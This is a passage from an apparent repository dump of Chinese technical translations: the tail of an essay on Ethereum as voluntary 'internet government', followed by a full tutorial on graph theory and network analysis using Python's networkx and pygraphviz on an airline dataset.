遵守法律\n\n等一下！有点问题。制定了一条法律并不意味着每个人都会遵守它。以太坊的“法律”都是自愿加入的。为了你的法律能被采纳，你需要说服大家：遵守你的法律是符合他们利益的。\n\n你也要决定遵守哪些法律。好的法律会给遵守的人提供显而易见的好处，它会鼓励组织内部的合作与信任。\n\nUber 就是一个用法律鼓励合作行为的例子。司机会遵守能保护他们免受坏乘客伤害的法律，乘客会遵守能保护他们免受坏司机伤害的法律。为了说清楚智能合约法律的概念，Uber 的两条法律可以写成：\n\n1.  如果你（一个乘客）袭击了司机，并且司机举报了，你就再也不能坐车了。\n2.  如果你被举报之后在一天之内申诉，Uber 会随机分配一个仲裁员来解决纠纷。\n\n这些法律用最小的代价，为管理组织提供了必要的保护。\n\n![](https://cdn-images-1.medium.com/max/800/1*XJdBEHkxgM4QdFvIrFj4Rw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*8vkzfPhWEk1J6ZBtf1NY3A.png)\n\n当法律之间有依赖的时候，上面这些图会复杂很多。比如，成为 Uber 司机之前，你得遵守保险法。用笑脸画图来表达依赖虽然很困难，但这就是互联网政府处理现代治理复杂度的方式。\n\n### 违反法律\n\n互联网政府还有一个有趣的属性：它不可能违法。所有的法律都只能按照已经定义好的规则执行。比如，在 Uber 的例子中，乘客被举报有攻击行为之后，他就一定不能坐车了，不管他是 Uber 的新用户还是创始人。这对打击腐败效果显著，不过有时候，腐败并不是个问题。\n\n有许多设计不当或者不够公平的法律也只能按照已经定义好的规则执行。这听起来非常不合理，这种法律非常有必要清理掉。如果遵守法律对你总是有很大伤害，那它就是不合理的。如果我每次乱穿马路都被罚款，一个礼拜我就破产了。\n\n虽然没办法违法，但你可以选择不遵守它。记住，所有的法律都是自愿遵守的。这提供了一个非常简单的淘汰劣质法律的机制：没人遵守它。\n\n![](https://cdn-images-1.medium.com/max/800/1*_jJd199zZi3n0oU6jHl7Lw.png)\n\n### 用科学的办法管理\n\n管理是人类最古老的挑战，它根本没法完全解决。不平等、不公平、腐败是当下这个时代根本性的问题。今天，人类面临着一些最困难的挑战，如果我们还想有希望，有未来，就必须有效地管理这些问题。\n\n互联网政府可能是我们最有希望的赌注。凭借无法破解的低成本法律，我们第一次能够运用科学的方法、尝试和错误来管理。法律自愿遵守这一点，意味着它能受到每一个公民的审查。法律无法违反这一点，让我们能精确衡量它的效果。人人都能制定法律，意味着新的法律能够快速取代陈旧失效的法律。如此循环，我们将能把管理变成一门科学，为每一个人找到最有效率最公平的法律。\n\n> 以太坊不仅仅是互联网的政府，它也是你的政府。\n\n* * *\n\n**本文是 Consensys 公司开发人员 Carl Froesc 撰写的一篇文章，2016年12月8日首发于** [_karl.tech_](https://karl.tech/intro-to-ethereum/)。\n\n> **免责声明：上述作者表达的观点不一定代表 Consensus Systems LLC DBA Consensys 的观点。ConsenSys 是一个分布式社区，ConsenSys 媒体是一个成员可以自由表达各种不同想法和观点的平台。要了解有关 ConsenSys 和以太坊的更多信息，[请访问我们的网站](https://consensys.net/)。如果您喜欢这篇文章，请在[此处](http://consensys.us11.list-manage.com/subscribe?u=947c9b18fc27e0b00fc2ad055&id=257df01285)注册我们的每周通讯。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。[掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner) 是 [掘金翻译计划](https://github.com/xitu/gold-miner) 在区块链方向的分支，目标是更好地为社区贡献更优质的区块链内容。\n"
  },
  {
    "path": "TODO1/introduction-to-graph-theory-network-analysis-python-codes.md",
    "content": "> * 原文地址：[An Introduction to Graph Theory and Network Analysis (with Python codes)](https://www.analyticsvidhya.com/blog/2018/04/introduction-to-graph-theory-network-analysis-python-codes/)\n> * 原文作者：[Srivatsa](https://www.analyticsvidhya.com/blog/2018/04/introduction-to-graph-theory-network-analysis-python-codes/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-to-graph-theory-network-analysis-python-codes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-to-graph-theory-network-analysis-python-codes.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[xionglong58](https://github.com/xionglong58)，[kasheemlew](https://github.com/kasheemlew)\n\n# 基于 Python 的图论和网络分析\n\n## 引论\n\n“一张照片包含了万千信息”，这句话常常被人们引用。但是一张图能表达的信息要更多。以图的形式可视化数据，帮助我们获得了更可行的见解，并基于此作出更好的数据驱动的决策。\n\n但是，为了真正理解图到底是什么，以及为什么我们要使用它，我们还需要知道图论的概念。知道了这个，可以帮助我们更好的编程。\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/Graph-Theory.jpg)\n\n如果你之前曾经学习过图论，你一定知道你需要学习成千上万的公式和枯燥的理论概念。所以我们决定写这篇博客。我们会首先解释概念然后提供说明示例，方便你跟上我们的进度，并直观的理解函数是如何运作的。本篇博客会写的很详细，因为我们相信，提供正确的解释，是一种比只给出简单定义更受欢迎的选择。\n\n在本篇文章中，我们会了解图是什么，它的应用，以及一些图的历史。同时文章中也会涵盖一些图论概念，然后我们会学习一个基于 Python 的示例，来巩固理解。\n\n准备好了吗？那我们开始进入学习吧！\n\n## 目录\n\n-   图及图的应用\n-   图的历史以及我们为什么选择图？\n-   你需要知道的术语\n-   图论基础概念\n-   熟悉 Python 中的图\n-   基于数据集的分析\n\n## 图及图的应用\n\n让我们先来观察一个如下所示的简单的图，从而帮助理解概念：\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph1.png)\n\n设想这个图代表了城市中人们经常会光顾的不同地点，然后一位城市游客按照这个路径行进。我们设定 V 表示地点，E 表示地点之间的路径\n\n```python\nV = {v1, v2, v3, v4, v5}\n\nE = {(v1,v2), (v2,v5), (v5, v5), (v4,v5), (v4,v4)}\n```\n\n边 (u,v) 和边 (v,u) 是一样的 —— 它们是无序数对。\n\n具体来讲 —— **图是一种用来学习对象间和实体间配对关系的数学结构**。它是离散数学的一个分支，并且在计算机科学、化学、语言学、运筹学、社会学等多个领域有广泛的应用。\n\n数据科学和分析领域也同样使用图来模拟不同的结构和问题。作为一个数据学的科学家，你应该能够以高效的方法来解决问题，而在很多场景下，图就可以提供这样高效的机制，因为数据被以一种特别的方式组织了起来。\n\n正式来讲：\n\n-   **图**由两个集合组成。`G = (V,E)`。V 是一个顶点集合。E 是一个边的集合。E 是 V 中元素对组合而来的（无序对）。\n-   **有向图**也是集合的配对。`D = (V,A)`。V 是顶点的集合。A 是弧的集合。A 是 V 中元素配对组合（有序对）。\n\n如果是有向图，那么 `(u,v)` 和 `(v,u)` 就是有区别的。这时，边被称为弧，来表明方向的概念。\n\nR 和 Python 中有很多用图论来分析数据的库。在本篇文章中，我们将会使用 Networkx Python 包来简单的学习一些这方面的概念，并做一些数据分析。\n\n```python\nfrom IPython.display import Image\nImage('images/network.PNG')\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph2.png)\n\n```python\nImage('images/usecase.PNG')\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph3.png)\n\n在上面的例子中可以很清晰的看出，图在数据分析中的应用非常广泛。我们来看几个案例：\n\n-   **市场分析** —— 图能够用于找出社交网中最具有影响力的人。广告商和营销人员能够通过将信息引导至社交网络中最有影响力的人那里，来试图获取最大的营销效益。\n-   **银行交易** —— 图能够用于找出不同寻常的交易者，帮助减少欺诈交易。曾经在很多案例中，恐怖分子的活动都被国际银行网络中货币流分析监测到了。\n-   **供给链** —— 图能帮助找出运送货物的最优路线，还能帮助选定仓库和运送中心的位置。\n-   **制药** —— 制药公司可以使用图论来优化推销员的路线。这样可以帮助推销员降低成本，并缩短旅途时间。\n-   **电信** —— 电信公司通常会使用图（Voronoi 图）来计算出信号塔的数量和位置，并且还能够保证最大覆盖面积。\n\n## 图的历史以及我们为什么选择图？\n\n### 图的历史\n\n如果你想知道图的理论是如何被建立起来的 —— 继续读下去吧！\n\n图论的起源可以追溯到七桥（Konigsberg bridge）问题（大约在 1730 年左右）。这个问题提出，哥尼斯堡城里的七座桥是否能够在满足以下条件的前提下全部被走过一遍：\n\n-   路径无重复\n-   路径结束的地方恰好就是你开始的位置\n\n这个问题等同于，有四节点和七边的图是否能拥有一个欧拉圆（欧拉圆指的是，一个开始点和终止点相同的欧拉路径。而欧拉路径指的是，在图中恰好通过每一条边一次的路径。更多的术语将在下文介绍）。这个问题引出了欧拉图的概念。而关于哥尼斯堡桥问题，答案是不能，第一个回答出这个问题的人正是欧拉，你一定已经猜到了。\n\n在 1840 年，A.F Mobius 给出了完全图和二分图的概念，同时 Kuratowski 通过 recreational 问题证明了它们都是平面图。树的概念（无环全连接图）则在 1845 被 Gustav Kirchhoff 提出，并且他在计算电网或电路中的电流时使用了图论的思想。\n\n在 1852 年，Thomas Gutherie 创建了著名的四色问题。而后在 1856 年，Thomas. P. Kirkman 和 William R.Hamilton 共同在多面体上研究圆环，并通过研究如何找出通过指定的每个点仅一次的路径，创建了哈密顿图的概念。1913 年，H.Dudeney 也提到了一个难题。尽管四色问题很早就被提出，而在一个世纪后才被 Kenneth Appel 和 Wolfgang Haken 解答。这个时间才被认为是图论的诞生时间。\n\nCaley 研究了微分学的特定分析形式，从而研究树结构。这在理论化学上已经有了很多应用。这也激发了枚举图论的创建。而在 1878 年，Sylvester 在“量子不变量”与代数和分子图的协变量之间进行了类比时，使用了“图”这个术语。\n\n在 1941 年，Ramsey 研究了着色问题，从而引出了图论另一个分支的定义，即极值图论。在 1969 年，四色问题被 Heinrich 通过计算机解决。渐进图的学习也连带着激发了随机图论的发展。图论和拓扑学的历史同样紧密相关，它们之间有很多共同的概念和理论。\n\n```python\nImage('images/Konigsberg.PNG', width = 800)\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph4.png)\n\n### 为什么选择图？\n\n以下几点可以激励你在日常数据科学问题中使用图论：\n\n1.  在处理抽象概念，例如关系和交互问题时，图是更好的方法。同时，在你思考这些概念时，它也提供了更直观且可视的方法。而在分析社会关系时，图也自然成了基础。\n2.  图行数据库已经成为了很常见的计算机工具，它是 SQL 和 NoSQL 数据库的替代。\n3.  图的一种：DAGs（有向无环图），能够被应用于模型化分析流。\n4.  一些神经网络框架也使用 DAGs 来对不同层的各个操作建模。\n5.  图论被用来学习和模型化社交网络、欺诈模型、功率模型、社交媒体中的病毒性和影响力。社交网络分析（SNA）也许是图论在数据科学中最有名的应用。\n6.  它被用于聚类算法 —— 最知名的是 K-Means 算法。\n7.  系统动力学也会应用一些图论的概念 —— 最知名的是循环。\n8.  路径优化是优化问题的一个子集，它也使用了图的概念。\n9.  从计算机科学的角度来看 —— 图让计算更加高效。和表格数据相比，如果数据以图的方式排列，一些算法的复杂度能够更低。\n\n## 你需要知道的术语\n\n在继续深入之前，我们建议你熟悉下面这些术语。\n\n1.  顶点 `u` 和 `v` 被称为边 `(u,v)` 的**端点**（`end vertices`）\n2.  如果两条边有相同的**端点**，那么它们被称为**平行的**\n3.  形如 `(v,v)` 的边是一个**环**\n4.  如果一个图**没有平行边也没有环**，则它被称为**简单图**\n5.  如果一个图**没有边**，那么称这个图为**空**（`Empty`）。也就是 `E` 是空的\n6.  一个图如果**没有顶点**，那么称之为**空图**（`Null Graph`）。也就是 `V` 和 `E` 全都是空的\n7.  只有一个顶点的图称为**平凡图**（`Trivial` graph）\n8.  如果两条边有一个公共顶点，则它们是**相邻**（`Adjacent`）边。如果两个顶点有一条公共边，则它们是**相邻**顶点\n9.  顶点的**度**，写作`d(v)`，表示以该顶点作为端点的**边**的数量。按照惯例，环对应端点的度为边的两倍，平行边分别对应的两个端点的度都要加\n10. 度为 1 的顶点称为**孤立顶点**（Isolated Vertices）。`d(1)` 的顶点是孤立的。\n11. 如果一个图的边集包含了所有端点可能组合成的边，则称这个图为**完全图**（Complete）\n12. 图中点和边是有限的，可替换的序列 ViEiViEi 称为图 `G = (V,E)` 的一个**路径**（`Walk`）\n13. 如果路径的开始顶点和结束顶点是不同的，那么称这个路径是开放的（`Open`）。而如果开始顶点和结束顶点相同，则称为闭合的（`Closed`）\n14. 每个边最多通过一次的迹（`Trail`）称为路径\n15. 每个顶点最多通过一次的路径（`Path`）称为迹（除了闭路）\n16. 闭合的路径是闭环（`Circuit`）—— 类似于一个电路\n\n## 图论基础概念\n\n在这个章节中，我们将会学习一些数据分析相关的有用的概念（内容不分先后）。记住，本文章涉及的内容之外还有很多需要深度学习的概念。现在让我们开始吧。\n\n### 平均路径长度\n\n所有可能的配对点的平均最短路径长度。它给图了一个“紧密”程度的度量，可以被用于描述网络中流的快慢/是否易于通过。\n\n### BFS 和 DFS\n\n**宽度优先搜索**和**深度优先搜索**是两个用于搜索图中节点的不同的算法。它们通常用于查看从已知节点出发，是否能找到某个节点。也被称为**图的遍历**\n\nBFS 的目标是依次搜索距离根节点最近的节点以遍历图，而 DFS 的目标是依次搜索距离根节点尽可能远的节点，从而遍历图。\n\n### 中心性\n\n它的用途最广泛，并且是网络分析最重要的概念工具。中心性的目标是找到网络中最重要的节点。如何定义“重要”可以多种方式，所以就有很多中心的度量方法。中心性的度量方法本身就有分类（或者说中心度量方法的类别）。有的是通过边的流量来度量，而有的则通过图的路径结构。\n\n一些最常见的应用如下：\n\n1.  **度中心性** —— 第一个也是概念上最简单的中心性定义。它表示一个点连接的边的数量。在一个有向图的例子中，我们则可以有两种度中心性的衡量方式。出度和入度的中心性。\n2.  **临近中心性** —— 从该节点出发，到所有节点的平均路径长度最短。\n3.  **中介中心性** —— 该节点出现在另外两个节点之间最短路径中的次数。\n\n这些中心性度量各有不同，它们的定义可以应用于不同的算法中。总而言之，这意味着会引出大量的定义和算法。\n\n### 网络密度\n\n图中有多少边的度量。定义会随着图的种类以及问题所处的情景而变化。对于一个完全无向图，则网络密度为 1，而对于一个空图，度则为 0。图的网络密度在一些场景下也可以大于一（比如图中包含环的时候）。\n\n### 图形随机化\n\n一些图的指标定义也许很容易计算，但是想要弄清楚它们的相关重要性却并不容易。这时我们就会用到网络/图形随机化。我们同时计算当前图和另一个随机生成的**相似**图的某个指标。相似性可以是图的度和节点数量相等。通常情况下，我们会生成 1000 个相似的随机图，并计算每个图的指标，然后将结果与手头上的图的相同指标进行对比，以得出基准概念。\n\n在数据科学领域中，当你尝试对图作出某个声明的时候，将它与随机生成的图做对比将会很有帮助。\n\n## 熟悉 Python 中的图\n\n我们将会使用 Python 的 `networkx` 工具包。如果你使用的是 Python 的 Anaconda 发行版，则它可以被安装在 Anaconda 的根环境下。你也可以使用 `pip install` 来安装。\n\n下面我们来看看使用 Networkx 包能做的一些事情。包括引入和创建图，以及图的可视化。\n\n### 创建图\n\n```python\nimport networkx as nx\n\n# 创建一个图\nG = nx.Graph() # 现在 G 是空的\n\n# 添加一个节点\nG.add_node(1)\nG.add_nodes_from([2,3]) # 你也能通过传入一个列表来添加一系列的节点\n\n# 添加边\nG.add_edge(1,2)\n\ne = (2,3)\nG.add_edge(*e) # * 表示解包元组\nG.add_edges_from([(1,2), (1,3)]) # 正如节点的添加，我们也可以这样添加边\n```\n\n点和边属性可以随着它们的创建被添加，方法是传入一个包含了点和属性的字典。\n\n除了一个一个点或者一条一条边的来创建图，还可以通过应用经典的图操作来创建，例如：\n\n```\nsubgraph(G, nbunch)      - 生成由节点集合 nbunch 组成的 G 的子图\nunion(G1,G2)             - 求图的并集\ndisjoint_union(G1,G2)    - 图中所有不同节点组成的单元\ncartesian_product(G1,G2) - 返回笛卡尔积图（Cartesian product graph）\ncompose(G1,G2)           - 两图中都有的点所组成的图\ncomplement(G)            - 补图\ncreate_empty_copy(G)     - 返回同一个图的空副本\nconvert_to_undirected(G) - 返回图的无向形式\nconvert_to_directed(G)   - 返回图的有向形式\n```\n\n对于不同类别的图，有单独的类。例如类 `nx.DiGraph()` 支持新建有向图。包含特定路径的图也可以使用某一个方法直接创建出来。如果想了解所有的创建图的方法，可以参见文档。参考列表在文末给出。\n\n```python\nImage('images/graphclasses.PNG', width = 400)\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph5.png)\n\n### 获取边和节点\n\n图的所有边和节点可以使用方法 `G.nodes()` 和 `G.edges()` 获取。单独的边和节点可以使用括号/下标的方式获取。\n\n```python\nG.nodes()\n```\n\nNodeView((1, 2, 3))\n\n```python\nG.edges()\n```\n\nEdgeView([(1, 2), (1, 3), (2, 3)])\n\n```python\nG[1] # 与 G.adj[1] 相同\n```\n\nAtlasView({2: {}, 3: {}})\n\n```python\nG[1][2]\n```\n\n{}\n\n```python\nG.edges[1, 2]\n```\n\n{}\n\n### 图形可视化\n\nNetworkx 提供了基础的图的可视化功能，但是它的主要目标是分析图而不是图的可视化。图的可视化比较难，我们将会使用专门针对它的特殊工具。`Matplotlib` 提供了很多方便的函数。但是 `GraphViz` 则可能是最好的工具，因为它以 `PyGraphViz` 的形式提供了 Python 接口（下面给出了它的文档链接）。\n\n```python\n%matplotlib inline\nimport matplotlib.pyplot as plt\nnx.draw(G)\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph6.png)\n\n首先你需要从网站安装 Graphviz（如下是下载链接）。然后运行 `pip install pygraphviz --install-option=\" <>`。在安装选项中你需要提供 Graphviz 的库和依赖的文件夹地址。\n\n```python\nimport pygraphviz as pgv\nd={'1': {'2': None}, '2': {'1': None, '3': None}, '3': {'1': None}}\nA = pgv.AGraph(data=d)\nprint(A) # 这是图的字符串形式或者简单展示形式\n```\n\nOutput:\n\n```\nstrict graph \"\" {\n\t1 -- 2;\n\t2 -- 3;\n\t3 -- 1;\n}\n```\n\nPyGraphviz 提供了对边和节点的每个属性的强大掌控能力。我们可以用它得到非常美观的可视化图形。\n\n```python\n# 让我们创建另一个图，我们可以控制它每个节点的颜色\nB = pgv.AGraph()\n\n# 设置所有节点的共同属性\nB.node_attr['style']='filled'\nB.node_attr['shape']='circle'\nB.node_attr['fixedsize']='true'\nB.node_attr['fontcolor']='#FFFFFF'\n\n# 创建并设置每个节点不同的属性（使用循环）\nfor i in range(16):\n\tB.add_edge(0,i)\n\tn=B.get_node(i)\n\tn.attr['fillcolor']=\"#%2x0000\"%(i*16)\n\tn.attr['height']=\"%s\"%(i/16.0+0.5)\n\tn.attr['width']=\"%s\"%(i/16.0+0.5)\nB.draw('star.png',prog=\"circo\") # 这行代码会在本地创建一个 .png 格式的文件。如下所示。\n\nImage('images/star.png', width=650) # 我们所创建的图的可视化图片\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph7.png)\n\n通常情况下，可视化被认为是图分析的一个独立任务。分析后的图形会导出为点文件。然后这个点文件被另做可视化处理，来展示我们试图证明的观点。\n\n## 基于数据集的分析\n\n我们将会学习一个通用数据集（并不是专门用于图分析的），然后做一些操作（使用 panda 库），这样数据才能以边列表的形式被插入到图中。边列表是一个元组的列表，包含了定义每一条边的顶点对。\n\n这个数据集来自于航空业。它包含了航线的一些基本信息，以及旅程和目的地的资源，对于每个旅程还包含了几栏到达和起飞时间的说明。你能够想象，这个数据集本身就非常适合作为图来分析。想象一下航线（边）连接城市（节点）。如果你在运营航空公司，接下来你可以问如下这几个问题\n\n1.  从 A 到 B 的最近路程是什么？路程最短的是哪条？时间最短的是哪条？\n2.  从 C 到 D 有路径可以通过吗？\n3.  哪些机场的交通压力最大？\n4.  处于最多机场之间的是哪个机场？那么它就可以作为当地枢纽\n\n```python\nimport pandas as pd\nimport numpy as np\n\ndata = pd.read_csv('data/Airlines.csv')\n```\n\n```\ndata.shape\n(100, 16)\n```\n\n```\ndata.dtypes\n\nyear                int64\nmonth               int64\nday                 int64\ndep_time          float64\nsched_dep_time      int64\ndep_delay         float64\narr_time          float64\nsched_arr_time      int64\narr_delay         float64\ncarrier            object\nflight              int64\ntailnum            object\norigin             object\ndest               object\nair_time          float64\ndistance            int64\ndtype: object\n```\n\n1.  我们注意到，将起始点和终点作为节点是一个很好的选择。这样所有的信息都可以作为节点或者边的属性了。一条边可以被认为是一段旅程。这段旅程将会和不同的时间、航班号、飞机尾号等等相关联。\n2.  我们注意到，年月日和其他时间信息被分散在好几栏中。我们希望创建一个能包含所有这些信息时间栏，我们也需要分别保存预计和实际的到达和出发时间。最终，我们应该有 4 个时间栏（预计和实际的到达和出发时间）\n3.  另外，时间栏的格式并不合适。下午的 4:30 被表示为 1630 而不是 16:30。该栏中并没有分隔符来分割信息。其中一个方法是使用 pandas 库的字符串方法和正则表达式。\n4.  我们也要注意，sched_dep_time 和 sched_arr_time 是 int64 数据类型的，而 dep_time 和 arr_time 是 float64 数据类型的\n5.  另一个复杂的因素是 NaN 值\n\n```python\n# 将 sched_dep_time 转化为 'std' —— 预计起飞时间\ndata['std'] = data.sched_dep_time.astype(str).str.replace('(\\d{2}$)', '') + ':' + data.sched_dep_time.astype(str).str.extract('(\\d{2}$)', expand=False) + ':00'\n\n# 将 sched_arr_time 转化为 'sta' —— 预计抵达时间\ndata['sta'] = data.sched_arr_time.astype(str).str.replace('(\\d{2}$)', '') + ':' + data.sched_arr_time.astype(str).str.extract('(\\d{2}$)', expand=False) + ':00'\n\n# 将 dep_time 转化为 'atd' —— 实际起飞时间\ndata['atd'] = data.dep_time.fillna(0).astype(np.int64).astype(str).str.replace('(\\d{2}$)', '') + ':' + data.dep_time.fillna(0).astype(np.int64).astype(str).str.extract('(\\d{2}$)', expand=False) + ':00'\n\n# 将 arr_time 转化为 'ata' —— 实际抵达时间\ndata['ata'] = data.arr_time.fillna(0).astype(np.int64).astype(str).str.replace('(\\d{2}$)', '') + ':' + data.arr_time.fillna(0).astype(np.int64).astype(str).str.extract('(\\d{2}$)', expand=False) + ':00'\n```\n\n现在我们有了我们期望的格式时间栏。最后，我们期望将`year`、`month` 和 `day` 合并为一个时间栏。这一步并不是必需的，但是一旦时间被转化为 `datetime` 的格式，我们可以很容易的获取到年月日以及其他信息。\n\n```python\ndata['date'] = pd.to_datetime(data[['year', 'month', 'day']])\n\n# 最后，我们删除掉不需要的栏\ndata = data.drop(columns = ['year', 'month', 'day'])\n```\n\n现在使用 networkx 函数导入数据，该函数可以直接获取 pandas 的数据帧。正如图的创建，这里也有很多将不同格式的数据插入图的方法。\n\n```python\nimport networkx as nx\nFG = nx.from_pandas_edgelist(data, source='origin', target='dest', edge_attr=True,)\n```\n\n```python\nFG.nodes()\n```\n\n输出：\n\n```\nNodeView(('EWR', 'MEM', 'LGA', 'FLL', 'SEA', 'JFK', 'DEN', 'ORD', 'MIA', 'PBI', 'MCO', 'CMH', 'MSP', 'IAD', 'CLT', 'TPA', 'DCA', 'SJU', 'ATL', 'BHM', 'SRQ', 'MSY', 'DTW', 'LAX', 'JAX', 'RDU', 'MDW', 'DFW', 'IAH', 'SFO', 'STL', 'CVG', 'IND', 'RSW', 'BOS', 'CLE'))\n```\n\n```python\nFG.edges()\n```\n\n输出：\n\n```\nEdgeView([('EWR', 'MEM'), ('EWR', 'SEA'), ('EWR', 'MIA'), ('EWR', 'ORD'), ('EWR', 'MSP'), ('EWR', 'TPA'), ('EWR', 'MSY'), ('EWR', 'DFW'), ('EWR', 'IAH'), ('EWR', 'SFO'), ('EWR', 'CVG'), ('EWR', 'IND'), ('EWR', 'RDU'), ('EWR', 'IAD'), ('EWR', 'RSW'), ('EWR', 'BOS'), ('EWR', 'PBI'), ('EWR', 'LAX'), ('EWR', 'MCO'), ('EWR', 'SJU'), ('LGA', 'FLL'), ('LGA', 'ORD'), ('LGA', 'PBI'), ('LGA', 'CMH'), ('LGA', 'IAD'), ('LGA', 'CLT'), ('LGA', 'MIA'), ('LGA', 'DCA'), ('LGA', 'BHM'), ('LGA', 'RDU'), ('LGA', 'ATL'), ('LGA', 'TPA'), ('LGA', 'MDW'), ('LGA', 'DEN'), ('LGA', 'MSP'), ('LGA', 'DTW'), ('LGA', 'STL'), ('LGA', 'MCO'), ('LGA', 'CVG'), ('LGA', 'IAH'), ('FLL', 'JFK'), ('SEA', 'JFK'), ('JFK', 'DEN'), ('JFK', 'MCO'), ('JFK', 'TPA'), ('JFK', 'SJU'), ('JFK', 'ATL'), ('JFK', 'SRQ'), ('JFK', 'DCA'), ('JFK', 'DTW'), ('JFK', 'LAX'), ('JFK', 'JAX'), ('JFK', 'CLT'), ('JFK', 'PBI'), ('JFK', 'CLE'), ('JFK', 'IAD'), ('JFK', 'BOS')])\n```\n\n```python\nnx.draw_networkx(FG, with_labels=True) # 图的快照。正如我们期望的，我们看到了三个很繁忙的机场\n```\n\n![](https://s3-ap-south-1.amazonaws.com/av-blog-media/wp-content/uploads/2018/03/graph8.png)\n\n```python\nnx.algorithms.degree_centrality(FG) # Notice the 3 airports from which all of our 100 rows of data originates\nnx.algorithms.degree_centrality(FG) # 从一百多行的所有源数据中标注出这三个机场\nnx.density(FG) # 图的平均边度\n```\n\n输出：\n\n```\n0.09047619047619047\n```\n\n```python\nnx.average_shortest_path_length(FG) # 图中所有路径中的最短平均路径\n```\n\n输出：\n\n```\n2.36984126984127\n```\n\n```python\nnx.average_degree_connectivity(FG) # 对于一个度为 k 的节点 —— 它的邻居节点的平均值是什么？\n```\n\n输出：\n\n```\n{1: 19.307692307692307, 2: 19.0625, 3: 19.0, 17: 2.0588235294117645, 20: 1.95}\n```\n\n很明显的可以从上文的图的可视化看出 —— 一些机场之间有很多路径。加入我们希望计算两个机场之间可能的最短路径。我们可以想到这几种方法\n\n1.  距离最短路径\n2.  时间最短路径\n\n我们能做的是，通过对比距离或者时间路径，计算最短路径的算法。注意，这是一个近似的答案 —— 实际需要解决的问题是，当你到达转机机场时可选择的航班 + 等待转机的时间共同决定的最短方法。这是一个更加复杂的方法，而也是人们通常用于计划旅行的方法。鉴于本篇文章的目标，我们仅仅假设当你到达机场的时候航班恰好可以搭乘，并在计算最短路径的时候以时间作为计算对象。\n\n我们以 `JAX` 和 `DFW` 机场为例：\n\n```python\n# 找到所有可用路径\nfor path in nx.all_simple_paths(FG, source='JAX', target='DFW'):\n\tprint(path)\n\n# 站到从 JAX 到 DFW 的 dijkstra 路径\n# 你可以在这里阅读更多更深入关于 dijkstra 是如何计算的信息 —— https://courses.csail.mit.edu/6.006/fall11/lectures/lecture16.pdf\ndijpath = nx.dijkstra_path(FG, source='JAX', target='DFW')\ndijpath\n```\n\n输出：\n\n```\n['JAX', 'JFK', 'SEA', 'EWR', 'DFW']\n```\n\n```python\n# 我们来试着找出飞行时间的 dijkstra 路径（近似情况）\nshortpath = nx.dijkstra_path(FG, source='JAX', target='DFW', weight='air_time')\nshortpath\n```\n\n输出：\n\n```\n['JAX', 'JFK', 'BOS', 'EWR', 'DFW']\n```\n\n## 总结\n\n本文只是对图论与网络分析这一非常有趣的领域进行了很简单的介绍。图论的知识和 Python 包能作为任何一个数据科学家非常有价值的工具。关于上文使用的数据集，还有一系列可以提出的问题，例如：\n\n1.  已知费用、飞行时间和可搭乘的航班，找到两个机场间的最短距离？\n2.  如果你正管理一家航空公司，并且你有一批飞机。你可以知道人们对航班的需求。你有权再操作两驾飞机（或者在你的机队中增加两架），你将使用那两条线路来获取最大盈利？\n3.  你能不能重新安排航班和时间表，来优化某个特定的参数（例如时间合理性或者盈利能力）\n\n如果你真的解决了这些问题，请在评论区评论，好让我们知道！\n\n网络分析将会帮助我们解决一些常见的数据科学问题，并以更大规模和抽象的方式进行可视化。如果你想在某个特定方面了解更多，请留言给我们。\n\n## 参考书目和引用\n\n1.  [History of Graph Theory || S.G. Shrinivas et. al](http://www.cs.xu.edu/csci390/12s/IJEST10-02-09-124.pdf)\n2.  [Big O Notation cheatsheet](http://bigocheatsheet.com/)\n3.  [Networkx reference documentation](https://networkx.github.io/documentation/stable/reference/index.html)\n4.  [Graphviz download](http://www.graphviz.org/download/)\n5.  [Pygraphvix](http://pygraphviz.github.io/)\n6.  [Star visualization](https://github.com/pygraphviz/pygraphviz/blob/master/examples/star.py)\n7.  [Dijkstra Algorithm](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 